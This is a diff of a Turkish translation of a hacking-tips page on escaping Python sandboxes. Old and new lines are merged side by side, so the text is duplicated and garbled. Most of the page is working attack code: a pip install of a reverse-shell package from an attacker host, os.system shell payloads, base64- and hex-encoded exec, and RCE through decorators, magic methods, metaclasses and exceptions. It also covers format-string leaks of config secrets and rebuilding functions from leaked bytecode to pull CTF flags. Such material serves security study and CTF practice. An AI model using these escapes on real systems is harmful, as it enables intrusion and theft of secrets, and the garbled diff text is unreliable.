* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,29 +1,21 @@
# Python sandboxes'ını atlatma # Python sandboxes'ını atlatma
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group** Python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçlarıdır.
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Bunlar, python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçlarıdır.
## Komut Çalıştırma Kütüphaneleri ## Komut Çalıştırma Kütüphaneleri
@ -60,7 +52,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox'ı içindeki **dosyaları okumak** ve **çalıştırabileceğiniz bazı kodlar yazmak** için faydalı olabilir. Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox'ı içindeki **dosyaları okumak** ve **bypass** etmek için **çalıştırabileceğiniz bazı kodlar yazmak** için faydalı olabilir.
{% hint style="danger" %} {% hint style="danger" %}
**Python2 input()** fonksiyonu, program çökmeden önce python kodu çalıştırmaya olanak tanır. **Python2 input()** fonksiyonu, program çökmeden önce python kodu çalıştırmaya olanak tanır.
@ -70,7 +62,7 @@ Python, **öncelikle mevcut dizinden kütüphaneleri yüklemeye çalışır** (a
![](<../../../.gitbook/assets/image (559).png>) ![](<../../../.gitbook/assets/image (559).png>)
## Varsayılan yüklü python paketleri ile pickle sandbox'ını atlatma ## Varsayılan yüklü python paketleri ile pickle sandbox'ını bypass etme
### Varsayılan paketler ### Varsayılan paketler
@ -100,12 +92,12 @@ Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paketi yükleyebil
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
Paketi ters shell oluşturmak için buradan indirebilirsiniz. Lütfen, kullanmadan önce **sıkıştırmasınımalı, `setup.py` dosyasını değiştirmeli ve ters shell için IP'nizi girmelisiniz**: Paketi ters shell oluşturmak için buradan indirebilirsiniz. Lütfen, kullanmadan önce **sıkıştırmasınıın, `setup.py` dosyasını değiştirin ve ters shell için IP'nizi ekleyin**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
Bu paket `Reverse` olarak adlandırılmaktadır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece çıktığınızda **sunucuda ekstra bir python paketi bırakmazsınız**. Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece çıktığınızda **sunucuda ekstra bir python paketi bırakmazsınız**.
{% endhint %} {% endhint %}
## Python kodunu Eval etmek ## Python kodunu Eval etmek
@ -135,7 +127,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
``` ```
### Python kodunu eval etmeye izin veren diğer kütüphaneler ### Python kodunu değerlendirmeye izin veren diğer kütüphaneler
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -171,11 +163,11 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları kullanarak da atlatmak mümkündür. Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları kullanarak bunu atlatmak da mümkündür.
## Çağrılar olmadan Python yürütmesi ## Çağrılar olmadan Python yürütmesi
Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **rastgele fonksiyonları, kodları** ve **komutları** **yürütmenin** bazı yolları vardır. Eğer bir python hapishanesindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **rastgele fonksiyonları, kodları** ve **komutları** **yürütmenin** bazı yolları vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE ### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE
```python ```python
@ -201,11 +193,11 @@ class _:pass
``` ```
### RCE nesneleri oluşturma ve aşırı yükleme ### RCE nesneleri oluşturma ve aşırı yükleme
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilecek** **farklı yöntemler** **yazabilir/aşırı yükleyebilirsiniz**. Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler** **yazabilir/üzerine yazabilirsiniz**.
#### Özel sınıflarla RCE #### Özel sınıflarla RCE
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** **çalıştıracak** şekilde değiştirebilirsiniz. Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** **çalıştıracak şekilde** değiştirebilirsiniz.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -257,7 +249,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### [Metaclasslar](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma #### [Metaclasslar](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma
Metaclassların bize sağladığı en önemli şey, **bir sınıfın örneğini, yapıcıyı** doğrudan çağırmadan, hedef sınıfı bir metaclass olarak kullanarak yeni bir sınıf oluşturmaktır. Metaclassların bize sağladığı en önemli şey, **bir sınıfın örneğini, yapıcıyı doğrudan çağırmadan** oluşturmak için hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -274,7 +266,7 @@ Sub['import os; os.system("sh")']
``` ```
#### Hata ile nesne oluşturma #### Hata ile nesne oluşturma
Bir **hata tetiklendiğinde**, **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) hilesi): Bir **hata tetiklendiğinde**, **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) numarası):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
`__builtins__` yoksa, hiçbir şeyi içe aktaramazsınız ve dosyaları okumak veya yazmak bile mümkün olmayacaktır çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\ `__builtins__` yoksa, hiçbir şeyi içe aktaramazsınız ve dosyaları okumak veya yazmak bile mümkün olmayacaktır çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller masum görünebilir, ancak bazıları **içinde tehlikeli** işlevsellikler de içermektedir ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir. Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller masum görünebilir, ancak bazıları **içinde tehlikeli** işlevsellikler de içermektedir ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir.
Aşağıdaki örneklerde, **içinde** **tehlikeli** **işlevsellikler** **erişmek için** yüklenen bu "**masum**" modüllerden bazılarını **istismar etme** yöntemlerini gözlemleyebilirsiniz. Aşağıdaki örneklerde, **tehlikeli** **işlevselliklere** **erişmek** için yüklenen bu "**masum**" modüllerden bazılarını nasıl **istismar** edebileceğinizi gözlemleyebilirsiniz.
**Python2** **Python2**
```python ```python
@ -558,7 +550,7 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
""" """
``` ```
## Yerleşiklerin, Global Değişkenlerin... Rekürsif Araması ## Yerleşiklerin, Global Değişkenlerin Rekürsif Araması...
{% hint style="warning" %} {% hint style="warning" %}
Bu gerçekten **harika**. Eğer **globals, builtins, open veya benzeri bir nesne arıyorsanız** bu scripti kullanarak **o nesneyi bulabileceğiniz yerleri rekürsif olarak bulun.** Bu gerçekten **harika**. Eğer **globals, builtins, open veya benzeri bir nesne arıyorsanız** bu scripti kullanarak **o nesneyi bulabileceğiniz yerleri rekürsif olarak bulun.**
@ -689,7 +681,7 @@ You can check the output of this script on this page:
Eğer **formatlanacak** bir **string** python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, global veya built-in'lere erişmek için önceki örnekleri kullanabilirsiniz. Eğer **formatlanacak** bir **string** python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, global veya built-in'lere erişmek için önceki örnekleri kullanabilirsiniz.
{% hint style="info" %} {% hint style="info" %}
Ancak, bir **sınırlama** vardır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **rastgele kod çalıştıramazsınız**, sadece bilgi okuyabilirsiniz.\ Ancak, bir **sınırlama** vardır, yalnızca `.[]` sembollerini kullanabilirsiniz, bu nedenle **rastgele kod çalıştıramayacaksınız**, sadece bilgi okuyabilirsiniz.\
_**Eğer bu güvenlik açığı aracılığıyla kod çalıştırmayı biliyorsanız, lütfen benimle iletişime geçin.**_ _**Eğer bu güvenlik açığı aracılığıyla kod çalıştırmayı biliyorsanız, lütfen benimle iletişime geçin.**_
{% endhint %} {% endhint %}
```python ```python
@ -715,7 +707,7 @@ Not edin ki **niteliklere** normal bir şekilde **nokta** ile `people_obj.__init
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`. Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır: Format dizgilerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** fonksiyonlarını **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
@ -734,14 +726,14 @@ return 'HAL 9000'
**Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir. **Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
{% hint style="danger" %} {% hint style="danger" %}
Ayrıca, Python iç nesnelerinden hassas bilgileri okuyacak gadget'lar için aşağıdaki sayfayı kontrol edin: Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** gadget'lar için aşağıdaki sayfayı kontrol edin:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md) [python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Hassas Bilgi Sızdırma Yükleri ### Hassas Bilgi ığa Çıkarma Yükleri
```python ```python
{whoami.__class__.__dict__} {whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__} {whoami.__globals__[os].__dict__}
@ -758,7 +750,7 @@ Ayrıca, Python iç nesnelerinden hassas bilgileri okuyacak gadget'lar için aş
Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adı verilebilir ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekebilir. Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adını alabilirsiniz ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekir.
İncelenecek fonksiyon: İncelenecek fonksiyon:
```python ```python
@ -771,7 +763,7 @@ return "THIS-IS-THE-FALG!"
else: else:
return "Nope" return "Nope"
``` ```
#### dizin #### dir
```python ```python
dir() #General dir() to find what we have loaded dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -919,9 +911,9 @@ return calc_flag("VjkuKuVjgHnci")
else: else:
return "Nope" return "Nope"
``` ```
### Creating the code object ### Kod nesnesi oluşturma
Öncelikle, **bir kod nesnesi nasıl oluşturulur ve çalıştırılır** bilmemiz gerekiyor, böylece sızdırılan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz: Öncelikle, **bir kod nesnesinin nasıl oluşturulup çalıştırılacağını** bilmemiz gerekiyor, böylece sızdırılan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -952,7 +944,7 @@ types.CodeType.__doc__
### Sızdırılmış bir fonksiyonu yeniden oluşturma ### Sızdırılmış bir fonksiyonu yeniden oluşturma
{% hint style="warning" %} {% hint style="warning" %}
Aşağıdaki örnekte, fonksiyonu doğrudan fonksiyon kodu nesnesinden yeniden oluşturmak için gereken tüm verileri alacağız. **Gerçek bir örnekte**, fonksiyonu çalıştırmak için gereken tüm **değerler** **sızdırmanız gereken** **`code_type`** olacaktır. Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. **Gerçek bir örnekte**, fonksiyonu çalıştırmak için gereken tüm **değerler** **sızdırmanız gereken** **`code_type`** olacaktır.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -996,7 +988,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
